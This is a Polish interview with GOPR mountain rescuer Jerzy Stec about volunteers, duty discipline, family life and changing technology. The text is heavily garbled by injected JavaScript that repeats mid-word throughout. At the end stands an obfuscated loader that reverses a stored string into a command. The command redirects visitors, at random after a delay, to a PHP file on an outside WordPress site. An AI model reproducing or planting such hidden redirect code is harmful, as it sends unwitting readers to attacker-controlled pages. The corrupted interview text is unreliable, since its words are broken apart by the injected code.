Przychodzą ci młodzi ludzie czasami na pierwszy, na drugi, na trzeci dyżur i widać u jednego zainteresowanie, chciejstwo – on się chce czegoś jeszcze nauczyć, on ciągle pyta o coś i tak dalej. Drugi przyjdzie, powiedzmy tak jak ty – komputer, laptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top i nic poza tym.

He, he, dzięki :)

I on jest zdziwiony, że jest wypadek, że są jakieś działania. Czasami nawet bywa tak, że jest obrażony, że coś trzeba robić. To mnie od razu szczękościsk bierze. A gro chłopaków jest takich, którzy przychodzą, pytają. Mało tego, jak już ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toś do pracy się spóźni i słowa nie jest w stanie powiedzieć. Dla mnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest chore. Kiedyś na dyżur – zaczynały się w sobotę – w piątek już wieczorem ludzie byli, bo trzeba było dojść piechotą. I na Pilsko w tej chwili jest tam wyjścia godzinę–półtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torej, ci, co dobrze biegają, nawet mniej. W zimie trzeba było czasami iść cztery–pięć godzin ten odcinek piechotą. I oni przychodzili wieczorem po toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, żeby na rano dotrzeć. I dla mnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest normalne. A w tej chwili widzisz – wyciągi są i oni nie są w stanie na dyżur dotrzeć.

Ale są i inni?

Są tacy młodzi, którzy zawsze, jak dyżur zaczyna się o ósmej, za pięć ósma najpóźniej są, czyli już ta obowiązkowość jest – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to inaczej wygląda. Ordnung musi być. To jest służba, trzeba być. Częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest tak, że ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townicy nie dojdą, przykładowo na dyżury narciarskie. Jest godzina ósma – są już wypadki, nie ma nikogo. Albo godzina siedemnasta – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to oni już dawno w samochodach, pędzą do domu, i są wypadki. Człowiek zostaje sam, dlatego, że jest pracownikiem, a on jako ochotnik ma inną toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolerancję do tego wszystkiego, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to robi, jak twierdzi, za darmo. Trzeba więc być pasjonatem, żeby dobrze za darmo wykonywać tę pracę – tak ja toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to widzę w każdym razie.

Większość macie tutaj mężczyzn?

Są kobiety, ale zdecydowanie więcej mężczyzn.

A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jakoś rośnie, czy tak się trzyma na stałe?

Są takie okresy, że się pojawia parę dziewczyn. I potem toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to się wiążę z kolei też z rodziną, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to eliminuje, bo dzieci trzeba wychowywać i nie ma czasu. Są, ale sporadycznie. Z tym, że jak są, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to niektóre dziewczyny są tak jak chłopy co najmniej. Ona sama jest w stanie wszystko robić. Tu mamy koleżankę. Jeździ skuterem, samochodem – jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to chciejstwo, tak jak mówię. Dzwonię, od razu wszystko gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towe. Nie ma problemu.

A żeby zostać zawodowym, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ile trzeba się napocić?

Zawsze są chętni, ale nie ma miejsc. Stąd się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bierze. Trzeba spełniać warunki. Jest oczywiście konkurs piękności, jak jest tam jakieś miejsce, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to trochę ludzi startuje, i decydujący głos ma zawsze naczelnik w tej sprawie, tak czy inaczej.

A rodzina jak?

Rodzina toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to raz jest większa, raz mniejsza. Różnie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to bywa, bo też się w związkach nie wszystkich układało. Tej toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolerancji trzeba dużo, tak że zawsze ją zwiększam. Pierwsza żona, druga żona… I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tak jest w tej pracy.

Dużo mówisz o wolności, jest taka ważna dla ciebie?

Ważna. Jak kiedyś jakieś dyżury w biurze miałem, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dla mnie tydzień trwał wieczność. Wieczność! To zegarek tak, i non stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top patrzyłem, która, jak długo jeszcze, bo najgorzej, jak się nic nie dzieje. Tam są oczywiście wyjazdy i tak dalej. Mija czas. Tu nawet jak mam dużo czasu, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jakoś nie zauważam tego, bo czy obiad zjem wieczorem czy rano, czy na drugi dzień, czy w ogóle – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest obojętne, a tam każdy patrzy, o której kawa, o której przerwa, gdzie na obiad. Ci ludzie tam mają domy, stacja jest blisko chałupy. Tak że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie każdemu odpowiada na tej zasadzie.

Jakbyś tak myślał sobie o przyszłości, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to coś byś tutaj zmienił na lepsze?

To tak szybko się zmienia, że w tej chwili człowiek by nie chciał zmieniać, tylko żeby toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to ciągle szło do przodu, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest fajne, bo czegoś nowego nawet od tych młodych człowiek się nauczy. Taki GPS po kolei – toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to wszystko zaczęło wchodzić w pewnym momencie. Już nie tylko nos wystarczy, znajomości, tylko jeszcze trzeba było się pewnych rzeczy nauczyć. W tej chwili toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pędzi do przodu, te wszystkie aplikacje. Kiedyś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nawet do pomyślenia nie było. Kiedyś telefon toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to była korba, kręciło się pół godziny. Okazało się, że druty gdzieś były pourywane, tak jak na Rysiance. Zakładało się narty, cały dzień się poświęciło, w końcu się znalazło – gdzieś tam się zadrutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tował. Znowu się kręciło telefon – jakaś pancia podniosła gdzieś na poczcie, coś tam przełączyła, a w tej chwili każdy ma co najmniej jedną komórkę. Dzieci, jak przychodzą tu częstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to na jakieś prelekcje, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nie ma takiego na wycieczce, żeby nie miał komórki. Czasami pytam, co ich interesuje, bo trudno im opowiadać o latach dwudziestych, trzydziestych, o powstaniu GOPR-u, bo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to kompletnie ich nie interesuje.

A co ich interesuje?

Pierwsze pytanie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to: „O, jest Internet!” i już mają zainteresowanie. Trochę się zmieniło.

Jerzy Stec – ratoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}townik Beskidzkiej Grupy GOPR, człowiek-histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria, cokolwiek się o nim napisze, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to i tak za mało.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px/20px ‚Helvetica Neue’,Helvetica,sans-serif; color: #ffffff; background: #bd081c no-repeat scroll 3px 50% / 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;”>Zapisz